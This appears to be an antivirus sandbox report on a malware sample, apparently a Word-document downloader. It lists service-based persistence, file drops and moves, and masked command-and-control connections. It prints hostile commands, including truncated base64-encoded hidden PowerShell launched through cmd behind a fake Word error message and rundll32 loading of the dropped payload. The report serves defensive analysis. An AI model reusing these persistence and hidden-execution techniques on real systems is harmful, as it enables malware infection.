Technical Information
To ensure autorun and distribution
Sets the following service settings
- [<HKLM>\System\CurrentControlSet\Services\rpbve.fya] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\rpbve.fya] 'ImagePath' = '%WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Jmew\rpbve.fya",RunDLL'
Creates the following services
- 'rpbve.fya' %WINDIR%\SysWOW64\rundll32.exe "%WINDIR%\SysWOW64\Jmew\rpbve.fya",RunDLL
Malicious functions
Executes the following (exploit)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AHsAMgB9AHsANAB9AHsAMAB9ACIAIAAtAGYAIAAnAEMAVABPAFIAeQAnACwAJwBlAE0AJwAsACcALgBJAE8ALgBEAEkAcgAnACwA...
- '%CommonProgramFiles%\Microsoft Shared\DW\DW20.EXE' -x -s 1540
Modifies file system
Creates the following files
- %TEMP%\1191286.cvr
- %HOMEPATH%\ah4ff1_\kvojc8o\axwi244.dll
Deletes the following files
- %WINDIR%\syswow64\jmew\rpbve.fya
Moves the following files
- from %HOMEPATH%\ah4ff1_\kvojc8o\axwi244.dll to %WINDIR%\syswow64\jmew\rpbve.fya
Network activity
Connects to
- '19#.#7.160.216':80
- '78.##8.225.105':80
- '50.##6.111.59':8080
TCP
HTTP GET requests
- http://co###square.com/standardservices/mnR4/
HTTP POST requests
- http://50.###.111.59:8080/lrxthcob/fw8njdsvhtdtmyz/wt3u2e7ab4wzznyh/5nu9yv/bmmjxkhq5z/ via 50.##6.111.59
UDP
- DNS ASK co###square.com
Miscellaneous
Executes the following
- '<SYSTEM32>\cmd.exe' cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & POwersheLL -w hidden -ENCOD IAAkADYAagBwADkAIAAgAD0AWwBUAHkAcABFAF0AKAAiAHsAMwB9AHsAMQB9AH...
- '<SYSTEM32>\msg.exe' user /v Word experienced an error trying to open the file.
- '<SYSTEM32>\rundll32.exe' %HOMEPATH%\Ah4ff1_\Kvojc8o\Axwi244.dll #1
- '%WINDIR%\syswow64\rundll32.exe' "%WINDIR%\SysWOW64\Jmew\rpbve.fya",RunDLL
